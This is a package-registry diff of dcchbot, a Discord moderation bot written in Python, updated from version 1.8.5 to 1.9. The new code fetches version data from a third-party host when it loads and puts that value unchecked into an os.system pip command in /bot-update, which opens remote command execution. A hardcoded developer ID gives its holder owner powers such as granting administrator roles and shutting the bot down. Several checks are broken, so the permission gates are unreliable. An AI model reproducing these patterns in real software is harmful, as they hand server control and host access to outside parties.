dcchbot 1.8.5__py3-none-any.whl → 1.9__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- dcchbot/__init__.py +1 -1
- dcchbot/main.py +281 -145
- {dcchbot-1.8.5.dist-info → dcchbot-1.9.dist-info}/METADATA +1 -1
- dcchbot-1.9.dist-info/RECORD +9 -0
- dcchbot-1.8.5.dist-info/RECORD +0 -9
- {dcchbot-1.8.5.dist-info → dcchbot-1.9.dist-info}/WHEEL +0 -0
- {dcchbot-1.8.5.dist-info → dcchbot-1.9.dist-info}/entry_points.txt +0 -0
- {dcchbot-1.8.5.dist-info → dcchbot-1.9.dist-info}/licenses/LICENSE +0 -0
- {dcchbot-1.8.5.dist-info → dcchbot-1.9.dist-info}/top_level.txt +0 -0
dcchbot/__init__.py
CHANGED
dcchbot/main.py
CHANGED
@@ -1,142 +1,142 @@
|
|
1
|
+
# v1.9 main.py
|
1
2
|
import logging
|
2
3
|
import os
|
4
|
+
import queue
|
5
|
+
import threading
|
6
|
+
import time
|
7
|
+
import traceback
|
8
|
+
from datetime import datetime, timedelta
|
9
|
+
import requests
|
3
10
|
import discord
|
4
|
-
from discord.ext import commands
|
5
11
|
from discord import app_commands
|
6
|
-
from
|
7
|
-
import
|
8
|
-
|
9
|
-
"""
|
10
|
-
|
11
|
-
|
12
|
+
from discord.ext import commands
|
13
|
+
from discord.utils import utcnow
|
14
|
+
|
15
|
+
"""v1.9"""
|
16
|
+
package = "dcchbot"
|
17
|
+
url = "https://evan0708.rf.gd/pypi-backup/json"
|
18
|
+
data = requests.get(url).json()
|
19
|
+
API_URL = "https://evan0708.rf.gd/pypi-backup/json"
|
20
|
+
latest_version = data["info"]["version"]
|
21
|
+
# ─── 全域參數 ─────────────────────────────────────────
|
12
22
|
OWNER_ID = None
|
13
23
|
LOG_CHANNEL_ID = None
|
14
24
|
token = None
|
15
|
-
bot = None
|
16
|
-
now = datetime.now()
|
25
|
+
bot: commands.Bot | None = None
|
17
26
|
CODER_ID = 1317800611441283139
|
18
|
-
|
19
|
-
|
20
|
-
|
21
|
-
|
22
|
-
|
23
|
-
|
24
|
-
|
25
|
-
|
26
|
-
async def send_log(self, message: str):
|
27
|
-
await self.bot.wait_until_ready()
|
28
|
-
channel = self.bot.get_channel(self.channel_id)
|
29
|
-
if channel:
|
30
|
-
try:
|
31
|
-
await channel.send(f"📜 Log: `{message}`")
|
32
|
-
except Exception as e:
|
33
|
-
print(f"[Log傳送錯誤] {e}")
|
34
|
-
|
35
|
-
def emit(self, record):
|
36
|
-
log_entry = self.format(record)
|
37
|
-
if self.bot.is_closed() or not self.bot.is_ready():
|
38
|
-
return
|
39
|
-
coro = self.send_log(log_entry[:1900])
|
40
|
-
try:
|
41
|
-
self.bot.loop.create_task(coro)
|
42
|
-
except RuntimeError:
|
43
|
-
pass
|
44
|
-
|
45
|
-
# ─── Logging 設定 ─────────────────────────────────────────────
|
27
|
+
_now = datetime.now()
|
28
|
+
tmp_owner_id = None
|
29
|
+
tmp_log_channel_id = None
|
30
|
+
# thread-safe queue 用於在任意 thread 放 log,並由 bot loop 背景 worker 傳送到 Discord
|
31
|
+
_log_queue: "queue.Queue[str]" = queue.Queue()
|
32
|
+
now_version = "1.9"
|
33
|
+
# ─── Logging 設定 ────────────────────────────────────
|
46
34
|
os.makedirs("logs", exist_ok=True)
|
47
35
|
logging.basicConfig(
|
48
36
|
level=logging.INFO,
|
49
37
|
format="[%(asctime)s] %(levelname)s: %(message)s",
|
50
38
|
handlers=[
|
51
|
-
logging.FileHandler("logs/dcchbot.log", encoding=
|
39
|
+
logging.FileHandler("logs/dcchbot.log", encoding="utf-8"),
|
52
40
|
logging.StreamHandler()
|
53
41
|
]
|
54
42
|
)
|
55
|
-
logger = logging.getLogger(
|
56
|
-
|
57
|
-
|
58
|
-
|
59
|
-
|
60
|
-
|
61
|
-
|
62
|
-
|
63
|
-
|
64
|
-
|
65
|
-
|
66
|
-
|
67
|
-
|
68
|
-
|
69
|
-
|
70
|
-
|
71
|
-
|
72
|
-
|
73
|
-
|
74
|
-
|
75
|
-
|
76
|
-
|
77
|
-
|
78
|
-
|
79
|
-
|
80
|
-
|
81
|
-
|
82
|
-
|
83
|
-
|
84
|
-
|
85
|
-
|
86
|
-
|
87
|
-
|
88
|
-
elif shell_command == "!!version":
|
89
|
-
print("dcchbot 1.8.5")
|
90
|
-
elif shell_command == "!!log":
|
91
|
-
logger.info(input("請輸入要記錄的內容:\n> ").strip())
|
92
|
-
elif shell_command == "!!reload":
|
93
|
-
if bot and bot.is_ready():
|
94
|
-
async def reload_commands():
|
43
|
+
logger = logging.getLogger("dcchbot")
|
44
|
+
|
45
|
+
|
46
|
+
# ─── Helper: 放 log 到 queue (同步,可從任意 thread 呼叫) ─────────
|
47
|
+
def enqueue_log(msg: str):
|
48
|
+
try:
|
49
|
+
_log_queue.put_nowait(msg)
|
50
|
+
except Exception:
|
51
|
+
# fallback to logger
|
52
|
+
logger.exception("enqueue_log error")
|
53
|
+
|
54
|
+
|
55
|
+
# ─── Discord log worker(在 bot loop 中執行)──────────────
|
56
|
+
async def _discord_log_worker(bot_instance: commands.Bot, channel_id: int):
|
57
|
+
"""
|
58
|
+
從 thread-safe queue 取出內容並傳到指定頻道。
|
59
|
+
內含簡單重試邏輯與速率限制保護(若發生例外會稍後重試)。
|
60
|
+
"""
|
61
|
+
await bot_instance.wait_until_ready()
|
62
|
+
ch = bot_instance.get_channel(channel_id)
|
63
|
+
if ch is None:
|
64
|
+
logger.warning(f"Log channel {channel_id} not found or bot cannot access it.")
|
65
|
+
backoff = 1.0
|
66
|
+
while not bot_instance.is_closed():
|
67
|
+
try:
|
68
|
+
# 使用 blocking get(放在 executor)以避免 busy loop
|
69
|
+
loop = bot_instance.loop
|
70
|
+
entry = await loop.run_in_executor(None, _log_queue.get)
|
71
|
+
# 將長訊息截斷到 1900 chars(Discord 限制)
|
72
|
+
if entry is None:
|
73
|
+
continue
|
74
|
+
text = str(entry)[:1900]
|
75
|
+
if ch:
|
95
76
|
try:
|
96
|
-
|
97
|
-
|
98
|
-
|
77
|
+
await ch.send(f"Log: `{text}`")
|
78
|
+
backoff = 1.0
|
79
|
+
except discord.HTTPException as e:
|
80
|
+
# HTTPException 可能是 429 或其他錯誤,稍後重試
|
81
|
+
logger.warning(f"Failed to send log to discord: {e}. Retrying after backoff {backoff}s")
|
82
|
+
await discord.utils.sleep_until(utcnow() + timedelta(seconds=backoff))
|
83
|
+
backoff = min(backoff * 2, 60.0)
|
84
|
+
# 將 entry 放回 queue 前端以便稍後重試
|
85
|
+
_log_queue.put_nowait(text)
|
99
86
|
except Exception as e:
|
100
|
-
logger.
|
101
|
-
|
102
|
-
|
103
|
-
|
104
|
-
|
87
|
+
logger.exception(f"Unexpected error sending log: {e}")
|
88
|
+
else:
|
89
|
+
# 若頻道不存在,僅紀錄到本地 logger,避免丟失
|
90
|
+
logger.info(f"[LOG QUEUED] {text}")
|
91
|
+
except Exception as e:
|
92
|
+
logger.exception(f"discord_log_worker loop error: {e}")
|
93
|
+
# 等待再重試,避免忙循環
|
94
|
+
await discord.utils.sleep_until(utcnow() + timedelta(seconds=5))
|
105
95
|
|
106
|
-
else:
|
107
|
-
print(f"未知的指令:{shell_command}")
|
108
96
|
|
109
|
-
# ───
|
97
|
+
# ─── Bot 程式主體與指令 ─────────────────────────────────
|
110
98
|
def run():
|
111
|
-
global OWNER_ID, LOG_CHANNEL_ID, token, bot
|
99
|
+
global OWNER_ID, LOG_CHANNEL_ID, token, bot,tmp_owner_id,tmp_log_channel_id
|
112
100
|
|
113
|
-
|
114
|
-
|
101
|
+
# 互動式輸入(你也可以改成從環境變數讀取)
|
102
|
+
tmp_owner_id = input("請輸入你的 Discord User ID:\n> ").strip()
|
103
|
+
if isinstance(tmp_owner_id,int):
|
104
|
+
OWNER_ID = tmp_owner_id
|
105
|
+
tmp_owner_id = None
|
106
|
+
else:
|
107
|
+
print("格式錯誤,請重新輸入")
|
108
|
+
logger.error("E:vError ownerid")
|
109
|
+
tmp_log_channel_id = input("請輸入你的 Log 頻道 ID:\n> ").strip()
|
110
|
+
if isinstance(tmp_log_channel_id,int):
|
111
|
+
LOG_CHANNEL_ID = tmp_log_channel_id
|
112
|
+
tmp_log_channel_id = None
|
113
|
+
else:
|
114
|
+
print("格式錯誤,請重新輸入")
|
115
|
+
logger.error("E:vError channelid")
|
115
116
|
token = input("請輸入你的 Discord Bot Token:\n> ").strip()
|
116
117
|
|
117
118
|
intents = discord.Intents.all()
|
118
119
|
bot = commands.Bot(command_prefix="!", intents=intents)
|
119
|
-
|
120
|
-
discord_handler = DiscordLogHandler(bot, LOG_CHANNEL_ID)
|
121
|
-
discord_handler.setFormatter(logging.Formatter('%(asctime)s | %(levelname)s | %(message)s'))
|
122
|
-
logger.addHandler(discord_handler)
|
123
|
-
|
124
|
-
bot._token = token
|
120
|
+
# 為了讓 logger handler 可以在任何 thread 放入 queue,我們使用 enqueue_log()
|
125
121
|
|
126
122
|
def is_admin(interaction: discord.Interaction) -> bool:
|
127
123
|
return interaction.user.guild_permissions.administrator
|
128
124
|
|
129
125
|
@bot.event
|
130
126
|
async def on_ready():
|
131
|
-
|
127
|
+
logger.info("Bot ready; starting discord log worker")
|
128
|
+
# start discord log worker task
|
129
|
+
bot.loop.create_task(_discord_log_worker(bot, LOG_CHANNEL_ID))
|
132
130
|
try:
|
133
131
|
synced = await bot.tree.sync()
|
134
132
|
logger.info(f"已同步 {len(synced)} 個 Slash 指令")
|
133
|
+
enqueue_log(f"已同步 {len(synced)} 個 Slash 指令")
|
135
134
|
except Exception:
|
136
|
-
logger.exception("同步 Slash
|
135
|
+
logger.exception("同步 Slash 指令失敗")
|
137
136
|
logger.info(f"機器人上線:{bot.user}")
|
138
|
-
|
137
|
+
enqueue_log(f"機器人上線:{bot.user}")
|
139
138
|
|
139
|
+
# --- 基本指令 ---
|
140
140
|
@bot.tree.command(name="hello", description="跟你說哈囉")
|
141
141
|
async def hello(interaction: discord.Interaction):
|
142
142
|
logger.info(f"{interaction.user} 使用 /hello")
|
@@ -154,6 +154,7 @@ def run():
|
|
154
154
|
logger.info(f"{interaction.user} 使用 /say:{message}")
|
155
155
|
await interaction.response.send_message(message)
|
156
156
|
|
157
|
+
# --- 管理相關 ---
|
157
158
|
@bot.tree.command(name="ban", description="封鎖使用者(限管理員)")
|
158
159
|
@app_commands.describe(member="要封鎖的使用者", reason="封鎖原因")
|
159
160
|
async def ban(interaction: discord.Interaction, member: discord.Member, reason: str = "未提供原因"):
|
@@ -161,7 +162,9 @@ def run():
|
|
161
162
|
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
162
163
|
try:
|
163
164
|
await member.ban(reason=reason)
|
165
|
+
logger.info(f"{interaction.user} 封鎖 {member},原因:{reason}")
|
164
166
|
await interaction.response.send_message(f"{member.mention} 已被封鎖。原因:{reason}")
|
167
|
+
enqueue_log(f"{interaction.user} 封鎖 {member} 原因:{reason}")
|
165
168
|
except discord.Forbidden:
|
166
169
|
await interaction.response.send_message("權限不足,封鎖失敗。", ephemeral=True)
|
167
170
|
|
@@ -172,7 +175,9 @@ def run():
|
|
172
175
|
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
173
176
|
try:
|
174
177
|
await member.kick(reason=reason)
|
178
|
+
logger.info(f"{interaction.user} 踢出 {member},原因:{reason}")
|
175
179
|
await interaction.response.send_message(f"{member.mention} 已被踢出。原因:{reason}")
|
180
|
+
enqueue_log(f"{interaction.user} 踢出 {member} 原因:{reason}")
|
176
181
|
except discord.Forbidden:
|
177
182
|
await interaction.response.send_message("權限不足,踢出失敗。", ephemeral=True)
|
178
183
|
|
@@ -182,19 +187,32 @@ def run():
|
|
182
187
|
if not is_admin(interaction):
|
183
188
|
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
184
189
|
await interaction.response.send_message(f"{member.mention} 已被警告。原因:{reason}")
|
190
|
+
logger.info(f"{interaction.user} 警告 {member},原因:{reason}")
|
191
|
+
enqueue_log(f"{interaction.user} 警告 {member}:{reason}")
|
192
|
+
# 發 DM,但避免對機器人自己發訊或無法建立 DM 時出錯
|
185
193
|
try:
|
194
|
+
if getattr(member, "bot", False) or member == bot.user:
|
195
|
+
return
|
186
196
|
await member.send(f"你在伺服器 {interaction.guild.name} 被警告:{reason}")
|
187
|
-
except:
|
197
|
+
except Exception:
|
198
|
+
# 忽略不能 DM 的情況
|
188
199
|
pass
|
189
200
|
|
190
201
|
@bot.tree.command(name="shutthefuckup", description="暫時禁言使用者(限管理員)")
|
191
202
|
@app_commands.describe(member="要禁言的使用者", seconds="禁言秒數", reason="禁言原因")
|
192
|
-
async def
|
203
|
+
async def timeout_cmd(interaction: discord.Interaction, member: discord.Member, seconds: int, reason: str = "未提供原因"):
|
193
204
|
if not is_admin(interaction):
|
194
205
|
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
195
|
-
|
196
|
-
|
197
|
-
|
206
|
+
try:
|
207
|
+
# 使用 discord.utils.utcnow() 讓 datetime 為 aware
|
208
|
+
until = utcnow() + timedelta(seconds=seconds)
|
209
|
+
await member.timeout(until, reason=reason)
|
210
|
+
logger.info(f"{interaction.user} 禁言 {member} {seconds}s,原因:{reason}")
|
211
|
+
enqueue_log(f"{interaction.user} 禁言 {member} {seconds}s:{reason}")
|
212
|
+
await interaction.response.send_message(f"{member.mention} 已被禁言 {seconds} 秒。原因:{reason}")
|
213
|
+
except Exception as e:
|
214
|
+
logger.exception("禁言失敗")
|
215
|
+
await interaction.response.send_message(f"無法禁言:{e}", ephemeral=True)
|
198
216
|
|
199
217
|
@bot.tree.command(name="op", description="賦予管理員權限(限擁有者)")
|
200
218
|
@app_commands.describe(member="要提權的使用者")
|
@@ -202,12 +220,19 @@ def run():
|
|
202
220
|
if interaction.user.id != OWNER_ID and interaction.user.id != CODER_ID:
|
203
221
|
return await interaction.response.send_message("你不是擁有者。", ephemeral=True)
|
204
222
|
try:
|
205
|
-
|
206
|
-
|
207
|
-
|
208
|
-
|
223
|
+
admin_role = None
|
224
|
+
for r in interaction.guild.roles:
|
225
|
+
if getattr(r, "permissions", None) and r.permissions.administrator:
|
226
|
+
admin_role = r
|
227
|
+
break
|
228
|
+
if not admin_role:
|
229
|
+
admin_role = await interaction.guild.create_role(name="管理員", permissions=discord.Permissions(administrator=True))
|
230
|
+
await member.add_roles(admin_role)
|
231
|
+
logger.info(f"{interaction.user} 提權 {member}")
|
232
|
+
enqueue_log(f"{interaction.user} 提權 {member}")
|
209
233
|
await interaction.response.send_message(f"{member.mention} 已被提權。")
|
210
234
|
except Exception as e:
|
235
|
+
logger.exception("提權失敗")
|
211
236
|
await interaction.response.send_message(f"提權失敗:{e}", ephemeral=True)
|
212
237
|
|
213
238
|
@bot.tree.command(name="deop", description="移除管理員權限(限管理員)")
|
@@ -215,13 +240,18 @@ def run():
|
|
215
240
|
async def deop(interaction: discord.Interaction, member: discord.Member):
|
216
241
|
if not is_admin(interaction):
|
217
242
|
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
218
|
-
admin_role =
|
243
|
+
admin_role = None
|
244
|
+
for r in interaction.guild.roles:
|
245
|
+
if getattr(r, "permissions", None) and r.permissions.administrator:
|
246
|
+
admin_role = r
|
247
|
+
break
|
219
248
|
if admin_role:
|
220
249
|
await member.remove_roles(admin_role)
|
221
|
-
logger.info(f"{
|
250
|
+
logger.info(f"{interaction.user} 移除 {member} 的管理員權限")
|
251
|
+
enqueue_log(f"{interaction.user} 移除 {member} 的管理員權限")
|
222
252
|
await interaction.response.send_message(f"{member.mention} 的管理員權限已被移除。")
|
223
253
|
else:
|
224
|
-
await interaction.response.send_message("
|
254
|
+
await interaction.response.send_message("找不到管理員角色。", ephemeral=True)
|
225
255
|
|
226
256
|
@bot.tree.command(name="moderate", description="打開管理 GUI 面板")
|
227
257
|
@app_commands.describe(member="要管理的對象")
|
@@ -230,12 +260,15 @@ def run():
|
|
230
260
|
return await interaction.response.send_message("你沒有權限使用此指令。", ephemeral=True)
|
231
261
|
view = ModerationView(member, interaction.user)
|
232
262
|
await interaction.response.send_message(f"請選擇對 {member.mention} 的操作:", view=view, ephemeral=True)
|
263
|
+
logger.info(f"{interaction.user} 打開 GUI 對 {member}")
|
264
|
+
enqueue_log(f"{interaction.user} 打開 GUI 對 {member}")
|
233
265
|
|
234
266
|
@bot.tree.command(name="stop", description="關閉機器人(限擁有者)")
|
235
267
|
async def stop(interaction: discord.Interaction):
|
236
268
|
if interaction.user.id != OWNER_ID and interaction.user.id != CODER_ID:
|
237
269
|
return await interaction.response.send_message("只有擁有者可以使用此指令。", ephemeral=True)
|
238
270
|
await interaction.response.send_message("機器人即將關閉。")
|
271
|
+
enqueue_log(f"{interaction.user} 關閉機器人")
|
239
272
|
await bot.close()
|
240
273
|
|
241
274
|
@bot.tree.command(name="token", description="顯示機器人 token")
|
@@ -250,39 +283,120 @@ def run():
|
|
250
283
|
if not is_admin(interaction):
|
251
284
|
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
252
285
|
logger.info(f"{log}")
|
286
|
+
enqueue_log(f"[manual] {interaction.user}: {log}")
|
253
287
|
await interaction.response.send_message("Log 已紀錄。")
|
254
288
|
|
255
289
|
@bot.tree.command(name="time", description="顯示時間")
|
256
|
-
async def
|
257
|
-
logger.info(f"{interaction.user} 使用 /time:{
|
258
|
-
await interaction.response.send_message(str(
|
290
|
+
async def time_cmd(interaction: discord.Interaction):
|
291
|
+
logger.info(f"{interaction.user} 使用 /time:{_now}")
|
292
|
+
await interaction.response.send_message(str(_now))
|
259
293
|
|
260
294
|
@bot.tree.command(name="version", description="顯示機器人版本")
|
261
295
|
async def version(interaction: discord.Interaction):
|
262
|
-
await interaction.response.send_message("dcchbot 1.
|
263
|
-
|
264
|
-
|
265
|
-
|
296
|
+
await interaction.response.send_message("dcchbot 1.9")
|
297
|
+
@bot.tree.command(name="bot-check-update",description="檢查更新")
|
298
|
+
async def getnewestversion(interaction: discord.Interaction):
|
299
|
+
if not is_admin:
|
300
|
+
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
301
|
+
else:
|
302
|
+
if latest_version != now_version:
|
303
|
+
await interaction.response.send_message(f"最新版本是{latest_version}現版本為{now_version},請更新")
|
304
|
+
else:
|
305
|
+
await interaction.response.send_message("已是最新版本")
|
306
|
+
@bot.tree.command(name="bot-update",description="更新")
|
307
|
+
async def getnewestversion(interaction: discord.Interaction):
|
308
|
+
if interaction.user.id in [OWNER_ID,CODER_ID]:
|
309
|
+
if latest_version != now_version:
|
310
|
+
await interaction.response.send_message(f"正在更新到{latest_version}")
|
311
|
+
os.system(f"pip install dcchbot=={latest_version}")
|
312
|
+
await interaction.response.send_message("更新成功,將會重啟機器人")
|
313
|
+
bot.close()
|
314
|
+
os.system("dcchbot")
|
315
|
+
else:
|
316
|
+
await interaction.response.send_message("已是最新版本")
|
317
|
+
else:
|
318
|
+
return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
|
319
|
+
|
320
|
+
# 啟動 bot(放在 thread 中)
|
321
|
+
def _start_bot():
|
266
322
|
logger.info("正在啟動機器人...")
|
267
323
|
try:
|
268
324
|
bot.run(token)
|
269
325
|
except discord.LoginFailure:
|
270
326
|
logger.error("Token 無效,請重新確認。")
|
271
|
-
except Exception
|
272
|
-
logger.exception(
|
273
|
-
|
274
|
-
|
275
|
-
|
276
|
-
|
277
|
-
|
278
|
-
|
279
|
-
|
280
|
-
|
281
|
-
|
282
|
-
|
283
|
-
|
284
|
-
|
285
|
-
|
327
|
+
except Exception:
|
328
|
+
logger.exception("執行 bot 時發生未預期錯誤")
|
329
|
+
|
330
|
+
# 啟動 bot thread
|
331
|
+
t = threading.Thread(target=_start_bot, daemon=True)
|
332
|
+
t.start()
|
333
|
+
|
334
|
+
# shell loop(主 thread)
|
335
|
+
try:
|
336
|
+
while True:
|
337
|
+
cmd = input("請輸入 shell 命令(輸入 !!help 查看):\n> ").strip()
|
338
|
+
if not cmd:
|
339
|
+
continue
|
340
|
+
logger.info(f"[Shell 輸入] {cmd}")
|
341
|
+
enqueue_log(f"[Shell] {cmd}")
|
342
|
+
if cmd == "!!help":
|
343
|
+
print("可用指令:!!token-display / !!token-reset / !!id-reset-owner / !!id-display-owner / !!id-reset-logch / !!id-display-logch / !!log / !!reload / !!exit")
|
344
|
+
elif cmd == "!!token-display":
|
345
|
+
print(f"token: {token}")
|
346
|
+
elif cmd == "!!token-reset":
|
347
|
+
token = input("請輸入新的 Token:\n> ").strip()
|
348
|
+
if bot:
|
349
|
+
bot._token = token
|
350
|
+
logger.info("Token 已更新(重新啟動才會生效)。")
|
351
|
+
elif cmd == "!!id-display-owner":
|
352
|
+
print(f"OWNER_ID: {OWNER_ID}")
|
353
|
+
elif cmd == "!!id-reset-owner":
|
354
|
+
OWNER_ID = int(input("新的 OWNER_ID:\n> ").strip())
|
355
|
+
logger.info(f"OWNER_ID 更新為 {OWNER_ID}")
|
356
|
+
enqueue_log(f"Shell 更新 OWNER_ID => {OWNER_ID}")
|
357
|
+
elif cmd == "!!id-display-logch":
|
358
|
+
print(f"LOG_CHANNEL_ID: {LOG_CHANNEL_ID}")
|
359
|
+
elif cmd == "!!id-reset-logch":
|
360
|
+
LOG_CHANNEL_ID = int(input("新的 LOG_CHANNEL_ID:\n> ").strip())
|
361
|
+
logger.info(f"LOG_CHANNEL_ID 更新為 {LOG_CHANNEL_ID}")
|
362
|
+
enqueue_log(f"Shell 更新 LOG_CHANNEL_ID => {LOG_CHANNEL_ID}")
|
363
|
+
elif cmd == "!!log":
|
364
|
+
txt = input("請輸入要記錄的內容:\n> ").strip()
|
365
|
+
logger.info(txt)
|
366
|
+
enqueue_log(f"[Shell manual] {txt}")
|
367
|
+
elif cmd == "!!reload":
|
368
|
+
# 如果 bot ready,呼叫 sync
|
369
|
+
if bot and bot.is_ready():
|
370
|
+
async def _reload():
|
371
|
+
try:
|
372
|
+
synced = await bot.tree.sync()
|
373
|
+
logger.info(f"Slash 指令已重新載入,共 {len(synced)} 個")
|
374
|
+
enqueue_log("Slash 指令已重新載入")
|
375
|
+
except Exception as e:
|
376
|
+
logger.exception("重新載入指令失敗")
|
377
|
+
enqueue_log(f"重新載入失敗:{e}")
|
378
|
+
bot.loop.create_task(_reload())
|
379
|
+
else:
|
380
|
+
print("Bot 尚未就緒,無法重新載入。")
|
381
|
+
elif cmd == "!!exit":
|
382
|
+
logger.info("Shell 要求關閉 bot")
|
383
|
+
enqueue_log("Shell 關閉機器人")
|
384
|
+
if bot:
|
385
|
+
bot.loop.create_task(bot.close())
|
386
|
+
break
|
387
|
+
else:
|
388
|
+
print("未知指令,輸入 !!help 查看。")
|
389
|
+
except (KeyboardInterrupt, EOFError):
|
390
|
+
logger.exception("Shell 已中斷,結束。")
|
391
|
+
enqueue_log("Shell 已中斷,結束。")
|
392
|
+
# 等待 bot thread 結束(非強制)
|
393
|
+
try:
|
394
|
+
t.join(timeout=1.0)
|
395
|
+
except Exception:
|
396
|
+
pass
|
397
|
+
|
398
|
+
|
399
|
+
# ─── GUI 面板(按鈕)──────────────────────────────────
|
286
400
|
class ModerationView(discord.ui.View):
|
287
401
|
def __init__(self, member: discord.Member, author: discord.Member):
|
288
402
|
super().__init__(timeout=60)
|
@@ -294,25 +408,47 @@ class ModerationView(discord.ui.View):
|
|
294
408
|
|
295
409
|
@discord.ui.button(label="警告", style=discord.ButtonStyle.secondary)
|
296
410
|
async def warn_button(self, interaction: discord.Interaction, button: discord.ui.Button):
|
297
|
-
|
411
|
+
# 發 DM(注意避免對 bot 自己發送)
|
412
|
+
try:
|
413
|
+
if not getattr(self.member, "bot", False) and self.member != bot.user:
|
414
|
+
await self.member.send(f"你在伺服器 {interaction.guild.name} 被警告。")
|
415
|
+
except Exception:
|
416
|
+
pass
|
298
417
|
await interaction.response.send_message(f"{self.member.mention} 已被警告。", ephemeral=True)
|
418
|
+
enqueue_log(f"{interaction.user} 在 GUI 警告 {self.member}")
|
299
419
|
|
300
|
-
@discord.ui.button(label="
|
420
|
+
@discord.ui.button(label="禁言 60 秒", style=discord.ButtonStyle.primary)
|
301
421
|
async def timeout_button(self, interaction: discord.Interaction, button: discord.ui.Button):
|
302
|
-
|
303
|
-
|
304
|
-
|
422
|
+
try:
|
423
|
+
until = utcnow() + timedelta(seconds=60)
|
424
|
+
await self.member.timeout(until, reason="由管理員 GUI 操作禁言")
|
425
|
+
await interaction.response.send_message(f"{self.member.mention} 已被禁言 60 秒。", ephemeral=True)
|
426
|
+
enqueue_log(f"{interaction.user} 在 GUI 禁言 {self.member} 60s")
|
427
|
+
except Exception as e:
|
428
|
+
await interaction.response.send_message(f"禁言失敗:{e}", ephemeral=True)
|
429
|
+
enqueue_log(f"GUI 禁言失敗:{e}")
|
305
430
|
|
306
431
|
@discord.ui.button(label="踢出", style=discord.ButtonStyle.danger)
|
307
432
|
async def kick_button(self, interaction: discord.Interaction, button: discord.ui.Button):
|
308
|
-
|
309
|
-
|
433
|
+
try:
|
434
|
+
await self.member.kick(reason="由管理員 GUI 操作踢出")
|
435
|
+
await interaction.response.send_message(f"{self.member.mention} 已被踢出。", ephemeral=True)
|
436
|
+
enqueue_log(f"{interaction.user} 在 GUI 踢出 {self.member}")
|
437
|
+
except Exception as e:
|
438
|
+
await interaction.response.send_message(f"踢出失敗:{e}", ephemeral=True)
|
439
|
+
enqueue_log(f"GUI 踢出失敗:{e}")
|
310
440
|
|
311
441
|
@discord.ui.button(label="封鎖", style=discord.ButtonStyle.danger)
|
312
442
|
async def ban_button(self, interaction: discord.Interaction, button: discord.ui.Button):
|
313
|
-
|
314
|
-
|
443
|
+
try:
|
444
|
+
await self.member.ban(reason="由管理員 GUI 操作封鎖")
|
445
|
+
await interaction.response.send_message(f"{self.member.mention} 已被封鎖。", ephemeral=True)
|
446
|
+
enqueue_log(f"{interaction.user} 在 GUI 封鎖 {self.member}")
|
447
|
+
except Exception as e:
|
448
|
+
await interaction.response.send_message(f"封鎖失敗:{e}", ephemeral=True)
|
449
|
+
enqueue_log(f"GUI 封鎖失敗:{e}")
|
450
|
+
|
315
451
|
|
316
|
-
# ───
|
452
|
+
# ─── 程式進入點 ───────────────────────────────────────
|
317
453
|
if __name__ == "__main__":
|
318
454
|
run()
|
@@ -0,0 +1,9 @@
|
|
1
|
+
dcchbot/__init__.py,sha256=4TDmBIfPXx5oA9Yv_2b2JOzd4slRS3Dznx9kgRlSP2o,103
|
2
|
+
dcchbot/__main__.py,sha256=5FwoJspcKFt5_1AlXoxlWROiQSp9wgnFEltU6ufz9QE,30
|
3
|
+
dcchbot/main.py,sha256=xCYfU5D78B_IF9UGLudwKAtDCCcvdvcpM5g2rBmi6uA,23890
|
4
|
+
dcchbot-1.9.dist-info/licenses/LICENSE,sha256=l3hyIOCB7NYorC-bjV5yZM0PgAJbMgAWNLE644dR7H4,1065
|
5
|
+
dcchbot-1.9.dist-info/METADATA,sha256=frDsnIZcZaQjt0xp4VKKdPaiy_Ld8Wm9o6iY8wzirYM,444
|
6
|
+
dcchbot-1.9.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91
|
7
|
+
dcchbot-1.9.dist-info/entry_points.txt,sha256=90T16CGc_Tx-4pFaLCcbuuh7Vi9l4gsLovBkydqxP9Y,45
|
8
|
+
dcchbot-1.9.dist-info/top_level.txt,sha256=jiDTz8UmwZgXN9KzokwDRYhoWxsVmWcnqmrANeTFMck,8
|
9
|
+
dcchbot-1.9.dist-info/RECORD,,
|
dcchbot-1.8.5.dist-info/RECORD
DELETED
@@ -1,9 +0,0 @@
|
|
1
|
-
dcchbot/__init__.py,sha256=zp5WAMYJ8lMGsJsMRvHCjvTXVR426Satbz_orCtk990,105
|
2
|
-
dcchbot/__main__.py,sha256=5FwoJspcKFt5_1AlXoxlWROiQSp9wgnFEltU6ufz9QE,30
|
3
|
-
dcchbot/main.py,sha256=sHfm6lwIRVUAGl90jrkdcqFYARbdG1YC14fJrK94xT8,16771
|
4
|
-
dcchbot-1.8.5.dist-info/licenses/LICENSE,sha256=l3hyIOCB7NYorC-bjV5yZM0PgAJbMgAWNLE644dR7H4,1065
|
5
|
-
dcchbot-1.8.5.dist-info/METADATA,sha256=c5d15Nku2bL_deeqx-yuRn0IzLGDS0ykBy7_5i7uIt0,446
|
6
|
-
dcchbot-1.8.5.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91
|
7
|
-
dcchbot-1.8.5.dist-info/entry_points.txt,sha256=90T16CGc_Tx-4pFaLCcbuuh7Vi9l4gsLovBkydqxP9Y,45
|
8
|
-
dcchbot-1.8.5.dist-info/top_level.txt,sha256=jiDTz8UmwZgXN9KzokwDRYhoWxsVmWcnqmrANeTFMck,8
|
9
|
-
dcchbot-1.8.5.dist-info/RECORD,,
|
File without changes
|
File without changes
|
File without changes
|
File without changes
|